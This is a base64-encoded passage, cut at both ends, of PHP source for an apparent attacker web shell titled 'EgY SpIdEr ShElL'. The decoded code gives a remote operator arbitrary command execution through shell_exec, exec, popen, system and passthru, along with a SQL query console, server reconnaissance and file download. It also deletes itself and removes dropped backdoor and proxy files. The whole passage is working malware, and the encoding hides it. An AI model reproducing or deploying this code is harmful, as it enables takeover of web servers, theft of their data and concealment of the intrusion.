KCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCiBlY2hvIGluKCdoaWRk
ZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdt
eXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9k
YicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJf
cXVlcnknKTsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOw0KIGVjaG8gIjxmb250IGZhY2U9
VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxf
ZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFy
ZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVl
cnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZS
T00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1p
dCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsgDQogZWNobyAiPC9m
b3JtPiI7DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBz
aXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBd
PC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnMTInXSkpDQog
ew0KICAgQHVubGluayhfX0ZJTEVfXyk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJzExJ10pKQ0KIHsN
CiAgIEB1bmxpbmsoJHRlbXBkaXIuJ2JkcGwnKTsNCiAgIEB1bmxpbmsoJHRlbXBkaXIuJ2JhY2sn
KTsNCiAgIEB1bmxpbmsoJHRlbXBkaXIuJ2JkJyk7DQogICBAdW5saW5rKCR0ZW1wZGlyLidiZC5j
Jyk7DQogICBAdW5saW5rKCR0ZW1wZGlyLidkcCcpOw0KICAgQHVubGluaygkdGVtcGRpci4nZHBj
Jyk7DQogICBAdW5saW5rKCR0ZW1wZGlyLidkcGMuYycpOw0KICAgQHVubGluaygkdGVtcGRpci4n
cHJ4cGwnKTsNCiAgIEB1bmxpbmsoJHRlbXBkaXIuJ2dyZXAudHh0Jyk7DQogfQ0KaWYoaXNzZXQo
JF9HRVRbJzInXSkpDQp7DQplY2hvICRoZWFkOw0KZnVuY3Rpb24gVV92YWx1ZSgkdmFsdWUpDQog
ew0KIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsNCiBpZiAoQGlz
X2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogaWYgKCR2
YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsNCiBpZiAoQGlzX29iamVjdCgkdmFsdWUpKSAk
dmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsNCiBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpDQogew0KIEBv
Yl9zdGFydCgpOw0KIHByaW50X3IoJHZhbHVlKTsNCiAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRz
KCk7DQogQG9iX2VuZF9jbGVhbigpOw0KIH0NCiByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAk
dmFsdWUpOw0KIH0NCmZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikNCiB7DQogJHN0ciA9IEB3b3Jk
d3JhcChAaHRtbHNwZWNpYWxjaGFycygkc3RyKSwgMTAwLCAnPHdiciAvPicsIHRydWUpOw0KIHJl
dHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQxJDI8d2Jy
IC8+JywgJHN0cik7DQogfQ0KaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpDQog
ew0KICRyID0gJyc7DQogZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+JywgJzx0cj48dGQgYmdjb2xv
cj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWdu
PWNlbnRlcj48Yj5EaXJlY3RpdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9IzMz
MzMzMz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50
ZXI+PGI+TG9jYWwgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMz
Mz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+
PGI+TWFzdGVyIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiBmb3JlYWNoIChA
aW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpDQogIHsNCiAgJHIgLj0gJzx0cj48dGQ+Jy53
cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250Pjwv
dGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicu
VV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRk
Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1
ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsN
CiAgfQ0KIGVjaG8gJHI7DQogZWNobyAnPC90YWJsZT4nOw0KIH0NCmVjaG8gIjxicj48ZGl2IGFs
aWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9JyIuJF9T
RVJWRVJbJ1BIUF9TRUxGJ10uIic+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgp
Ow0KfQ0KaWYoaXNzZXQoJF9HRVRbJzMnXSkpDQogew0KICAgZWNobyAkaGVhZDsNCiAgIGVjaG8g
Jzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxkaXYgYWxpZ249Y2Vu
dGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DUFU8L2I+PC9mb250
PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkY3B1ZiA9
IEBmaWxlKCJjcHVpbmZvIik7DQogICBpZigkY3B1ZikNCiAgICB7DQogICAgICAkYyA9IEBzaXpl
b2YoJGNwdWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAg
ICAgICRpbmZvID0gQGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9b
MV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZD4nLndz
KDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+
PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2Vu
dGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQog
ICAgICAgIH0NCiAgICAgIGVjaG8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVj
aG8gJzx0cj48dGQ+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5h
IHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KICAgIH0NCiAg
IGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBm
YWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10u
Iic+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCiAgIGRpZSgpOw0KIH0NCmlmKGlzc2V0
KCRfR0VUWyc0J10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9
MTAwJT48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNl
PVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+TUVNT1JZPC9iPjwvZm9udD48L2Rpdj48L3Rk
PjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJG1lbWYgPSBAZmlsZSgibWVt
aW5mbyIpOw0KICAgaWYoJG1lbWYpDQogICAgew0KICAgICAgJGMgPSBzaXplb2YoJG1lbWYpOw0K
ICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0g
ZXhwbG9kZSgiOiIsJG1lbWZbJGldKTsNCiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5m
b1sxXT0iLS0tIjsgfQ0KICAgICAgICAgICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZh
Y2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48
dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmlt
KCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAg
ICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZD4n
LndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4g
LS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7DQogICAgfQ0KICAgZWNobyAnPC90YWJs
ZT4nOw0KICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBz
aXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBd
PC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KIA0KIA0KIA0KIA0KIGlmKGlzc2V0
KCRfR0VUWyd0b29sJ10pKSB7IGVjaG8gQHBocGluZm8oKTsgZWNobyAiPGJyPjxkaXYgYWxpZ249
Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZF
UlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQ0K
IGlmKGlzc2V0KCRfR0VUWyd0b29scyddKSkgeyAvKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMgDQpjb2RlIDIgICAgICAgICAgICAgICAgCQkJCQkJICANCiMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMqLw0KPz4NCjxodG1sPiANCjxo
ZWFkPjx0aXRsZT5FZ1kgU3BJZEVyIFNoRWxMPC90aXRsZT48L2hlYWQ+DQo8U1RZTEU+DQoNCkJP
RFkNCiB7DQogICAgICAgIFNDUk9MTEJBUi1GQUNFLUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVIt
SElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItU0hBRE9XLUNPTE9SOiAjMDAwMDAw
OyBDT0xPUjogIzY2NjY2NjsgU0NST0xMQkFSLTNETElHSFQtQ09MT1I6ICM3MjY0NTY7IFNDUk9M
TEJBUi1BUlJPVy1DT0xPUjogIzcyNjQ1NjsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiAjMjkyOTI5
OyBGT05ULUZBTUlMWTogVmVyZGFuYTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6ICM3MjY0
NTYNCn0NCg0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1D
T0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KaW5wdXQgew0KQk9SREVSLVJJR0hU
OiAgIzAwRkYwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzAwRkYwMCAxIHNvbGlkOw0KQk9S
REVSLUxFRlQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjMDBGRjAwIDEgc29s
aWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOw0KZm9udDogOXB0IHRhaG9tYTsNCmNvbG9y
OiAjZmZmZmZmOw0KfQ0KDQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0
c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2Rh
ZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJP
UkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBz
b2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6
ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZ
IHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAw
MDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0
ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpy
ZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNP
UkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9ib2R5PiANCjwvaHRtbD4gDQo8Pw0KJG5zY2Rp
ciA9KCFpc3NldCgkX1JFUVVFU1RbJ3NjZGlyJ10pKT9nZXRjd2QoKTpjaGRpcigkX1JFUVVFU1Rb
J3NjZGlyJ10pOyRuc2NkaXI9Z2V0Y3dkKCk7DQokc2Y9Ijxmb3JtIG1ldGhvZD1wb3N0PiI7JGVm
PSI8L2Zvcm0+IjsNCiRzdD0iPHRhYmxlIHN0eWxlPVwiYm9yZGVyOjFweCAjZGFkYWRhIHNvbGlk
IFwiIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+IjsNCiRldD0iPC90YWJsZT4iOyRjMT0iPHRyPjx0
ZCBoZWlnaHQ9MjIlIHN0eWxlPVwiYm9yZGVyOjFweCAjZGFkYWRhIHNvbGlkIFwiPiI7DQokYzI9
Ijx0cj48dGQgc3R5bGU9XCJib3JkZXI6MXB4ICNkYWRhZGEgc29saWQgXCI+IjskZWM9IjwvdHI+
PC90ZD4iOw0KJHN0YT0iPHRleHRhcmVhIGNvbHM9MTU3IHJvd3M9MjM+IjskZXRhPSI8L3RleHRh
cmVhPiI7DQokc2ZudD0iPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0yIGNvbG9yPSMwMDgwODA+Ijsk
ZWZudD0iPC9mb250PiI7DQplcnJvcl9yZXBvcnRpbmcoMCk7IA0Kc2V0X21hZ2ljX3F1b3Rlc19y
dW50aW1lKDApOw0KDQppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCAnNC4xLjAnKSA9
PSAtMSkNCiB7JF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOyRfR0VUICAgID0gJiRIVFRQX0dF
VF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KIH1mdW5jdGlvbiBpbmNs
aW5rKCRsaW5rLCR2YWwpeyRyZXF1PSRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KaWYgKHN0cnN0
ciAoJHJlcXUsJGxpbmspKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCIvJGxpbms9W1xcZFxcd1xcV1xc
RFxcU10qLyIsIiRsaW5rPSR2YWwiLCRyZXF1KTt9ZWxzZWlmIChzdHJzdHIgKCRyZXF1LCJzaG93
c2MiKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgiL3Nob3dzYz1bXFxkXFx3XFxXXFxEXFxTXSovIiwi
JGxpbms9JHZhbCIsJHJlcXUpO30NCmVsc2VpZiAoc3Ryc3RyICgkcmVxdSwiaGxwIikpe3JldHVy
biBwcmVnX3JlcGxhY2UoIi9obHA9W1xcZFxcd1xcV1xcRFxcU10qLyIsIiRsaW5rPSR2YWwiLCRy
ZXF1KTt9ZWxzZWlmIChzdHJzdHIoJHJlcXUsIj8iKSl7cmV0dXJuICRyZXF1LiImIi4kbGluay4i
PSIuJHZhbDt9DQplbHNle3JldHVybiAkcmVxdS4iPyIuJGxpbmsuIj0iLiR2YWw7fX0NCmZ1bmN0
aW9uIGRlbG0oJGRlbG10eHQpe3ByaW50IjxjZW50ZXI+PHRhYmxlIGJnY29sb3I9YmxhY2sgc3R5
bGU9J2JvcmRlcjoxcHggc29saWQgb2xpdmUnIHdpZHRoPTk5JSBoZWlnaHQ9MiU+IjtwcmludCI8
dHI+PHRkPjxiPjxjZW50ZXI+PGZvbnQgc2l6ZT0yIGNvbG9yPW9saXZlPiRkZWxtdHh0PC90ZD48
L3RyPjwvdGFibGU+PC9jZW50ZXI+Ijt9DQpmdW5jdGlvbiBjYWxsZnVuY3MoJGNtbmQpe2lmIChm
dW5jdGlvbl9leGlzdHMoc2hlbGxfZXhlYykpeyRzY21kPXNoZWxsX2V4ZWMoJGNtbmQpOw0KJG5z
Y21kPWh0bWxzcGVjaWFsY2hhcnMoJHNjbWQpO3ByaW50ICRuc2NtZDt9DQplbHNlaWYoIWZ1bmN0
aW9uX2V4aXN0cyhzaGVsbF9leGVjKSl7ZXhlYygkY21uZCwkZWNtZCk7DQokZWNtZCA9IGpvaW4o
IlxuIiwkZWNtZCk7JG5lY21kPWh0bWxzcGVjaWFsY2hhcnMoJGVjbWQpO3ByaW50ICRuZWNtZDt9
DQplbHNlaWYoIWZ1bmN0aW9uX2V4aXN0cyhleGVjKSl7JHBjbWQgPSBwb3BlbigkY21uZCwiciIp
Ow0Kd2hpbGUgKCFmZW9mKCRwY21kKSl7ICRyZXMgPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRjKCRw
Y21kKSk7Ow0KcHJpbnQgJHJlczt9cGNsb3NlKCRwY21kKTt9ZWxzZWlmKCFmdW5jdGlvbl9leGlz
dHMocG9wZW4pKXsgDQpvYl9zdGFydCgpO3N5c3RlbSgkY21uZCk7JHNyZXQgPSBvYl9nZXRfY29u
dGVudHMoKTtvYl9jbGVhbigpO3ByaW50IGh0bWxzcGVjaWFsY2hhcnMoJHNyZXQpO31lbHNlaWYo
IWZ1bmN0aW9uX2V4aXN0cyhzeXN0ZW0pKXsNCm9iX3N0YXJ0KCk7cGFzc3RocnUoJGNtbmQpOyRw
cmV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7b2JfY2xlYW4oKTsNCnByaW50IGh0bWxzcGVjaWFsY2hh
cnMoJHByZXQpO319DQpmdW5jdGlvbiBpbnB1dCgkdHlwZSwkbmFtZSwkdmFsdWUsJHNpemUpDQp7
aWYgKGVtcHR5KCR2YWx1ZSkpe3ByaW50ICI8aW5wdXQgdHlwZT0kdHlwZSBuYW1lPSRuYW1lIHNp
emU9JHNpemU+Ijt9DQplbHNlaWYoZW1wdHkoJG5hbWUpJiZlbXB0eSgkc2l6ZSkpe3ByaW50ICI8
aW5wdXQgdHlwZT0kdHlwZSB2YWx1ZT0kdmFsdWUgPiI7fQ0KZWxzZWlmKGVtcHR5KCRzaXplKSl7
cHJpbnQgIjxpbnB1dCB0eXBlPSR0eXBlIG5hbWU9JG5hbWUgdmFsdWU9JHZhbHVlID4iO30NCmVs
c2Uge3ByaW50ICI8aW5wdXQgdHlwZT0kdHlwZSBuYW1lPSRuYW1lIHZhbHVlPSR2YWx1ZSBzaXpl
PSRzaXplID4iO319DQpmdW5jdGlvbiBwZXJtY29sKCRwYXRoKXtpZiAoaXNfd3JpdGFibGUoJHBh
dGgpKXtwcmludCAiPGZvbnQgY29sb3I9b2xpdmU+IjsNCmNhbGxwZXJtcygkcGF0aCk7IHByaW50
ICI8L2ZvbnQ+Ijt9DQplbHNlaWYgKCFpc19yZWFkYWJsZSgkcGF0aCkmJiFpc193cml0YWJsZSgk
cGF0aCkpe3ByaW50ICI8Zm9udCBjb2xvcj1yZWQ+IjsNCmNhbGxwZXJtcygkcGF0aCk7IHByaW50
ICI8L2ZvbnQ+Ijt9DQplbHNlIHtwcmludCAiPGZvbnQgY29sb3I9d2hpdGU+IjtjYWxscGVybXMo
JHBhdGgpO319DQppZiAoJGRsaW5rPT0iZHdsZCIpe2Rvd25sb2FkKCRfUkVRVUVTVFsnZHdsZCdd
KTt9DQpmdW5jdGlvbiBkb3dubG9hZCgkZHdmaWxlKSB7JHNpemUgPSBmaWxlc2l6ZSgkZHdmaWxl
KTsNCkBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZm9yY2UtZG93bmxvYWQ7bmFt
ZT0kZHdmaWxlIik7DQpAaGVhZGVyKCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnki
KTsNCkBoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAkc2l6ZSIpOw0KQGhlYWRlcigiQ29udGVudC1E
aXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JGR3ZmlsZSIpOw0KQGhlYWRlcigiRXhw
aXJlczogMCIpOw0KQGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxp
ZGF0ZSIpOw0KQGhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KQHJlYWRmaWxlKCRkd2ZpbGUp
OyBleGl0O30NCj8+DQo8Pw0KJG5zY2RpciA9KCFpc3NldCgkX1JFUVVFU1RbJ3NjZGlyJ10pKT9n
ZXRjd2QoKTpjaGRpcigkX1JFUVVFU1RbJ3NjZGlyJ10pOyRuc2NkaXI9Z2V0Y3dkKCk7DQoNCiRz
Zj0iPGZvcm0gbWV0aG9kPXBvc3Q+IjskZWY9IjwvZm9ybT4iOw0KJHN0PSI8dGFibGUgc3R5bGU9
XCJib3JkZXI6MXB4ICNkYWRhZGEgc29saWQgXCIgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT4iOw0K
JGV0PSI8L3RhYmxlPiI7JGMxPSI8dHI+PHRkIGhlaWdodD0yMiUgc3R5bGU9XCJib3JkZXI6MXB4
ICNkYWRhZGEgc29saWQgXCI+IjsNCiRjMj0iPHRyPjx0ZCBzdHlsZT1cImJvcmRlcjoxcHggI2Rh
ZGFkYSBzb2xpZCBcIj4iOyRlYz0iPC90cj48L3RkPiI7DQokc3RhPSI8dGV4dGFyZWEgY29scz0x
NTcgcm93cz0yMz4iOyRldGE9IjwvdGV4dGFyZWE+IjsNCiRzZm50PSI8Zm9udCBmYWNlPXRhaG9t
YSBzaXplPTIgY29sb3I9b2xpdmU+IjskZWZudD0iPC9mb250PiI7DQojIyMjIyMjIyMjIyMjIyMj
IyBFbmRpbmcgb2YgY29tbW9uIHZhcmlhYmxlcyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0K
cHJpbnQiPHRhYmxlIGJnY29sb3I9IzE5MTkxOSBzdHlsZT1cImJvcmRlcjoycHggI2RhZGFkYSBz
b2xpZCBcIiB3aWR0aD0xMDAlIGhlaWdodD0lPiI7cHJpbnQiPHRyPjx0ZD4iOyBwcmludCI8Yj48
Y2VudGVyPjxmb250IGZhY2U9dGFob21hIGNvbG9yPXdoaXRlIHNpemU9ND4NCjwvZm9udD48L2I+
PC9jZW50ZXI+IjsgcHJpbnQiPC90ZD48L3RyPiI7cHJpbnQiPC90YWJsZT4iO3ByaW50ICI8YnI+
IjsNCnByaW50Ijx0YWJsZSBiZ2NvbG9yPSMxOTE5MTkgc3R5bGU9XCJib3JkZXI6MnB4ICNkYWRh
ZGEgc29saWQgXCIgd2lkdGg9MTAwJSBoZWlnaHQ9JT4iO3ByaW50Ijx0cj48dGQ+IjsgcHJpbnQi
PGNlbnRlcj48ZGl2PjxiPiI7cHJpbnQgIiI7DQoNCmlmICgkYWN0ID09ICdlbmNvZGVyJykNCnsN
CiBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNldF9lbmNvZGVyX2lucHV0KHRleHQpIHtkb2N1bWVu
dC5mb3Jtcy5lbmNvZGVyLmlucHV0LnZhbHVlID0gdGV4dDt9PC9zY3JpcHQ+PGNlbnRlcj48Yj5F
bmNvZGVyOjwvYj48L2NlbnRlcj48Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlvbj1cIiIuJHN1
cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1lbmNv
ZGVyPjxiPklucHV0OjwvYj48Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwi
IGlkPVwiaW5wdXRcIiBjb2xzPTUwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVy
X2lucHV0KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNh
bGN1bGF0ZVwiPjxicj48YnI+PC9jZW50ZXI+PGI+SGFzaGVzPC9iPjo8YnI+PGNlbnRlcj4iOyAN
CiBmb3JlYWNoKGFycmF5KCJtZDUiLCJjcnlwdCIsInNoYTEiLCJjcmMzMiIpIGFzICR2KSANCiB7
IA0KICBlY2hvICR2LiIgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMu
c2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhp
cy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5Pjxi
cj4iOyANCiB9IA0KIGVjaG8gIjwvY2VudGVyPjxiPlVybDo8L2I+PGNlbnRlcj48YnI+dXJsZW5j
b2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIg
b25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClc
IiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+IA0KIDxi
cj51cmxkZWNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2Vs
ZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5z
ZWxlY3QoKVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKHVybGRlY29kZSgkZW5jb2Rlcl9p
bnB1dCkpLiJcIiByZWFkb25seT4gDQogPGJyPjwvY2VudGVyPjxiPkJhc2U2NDo8L2I+PGNlbnRl
cj5iYXNlNjRfZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlz
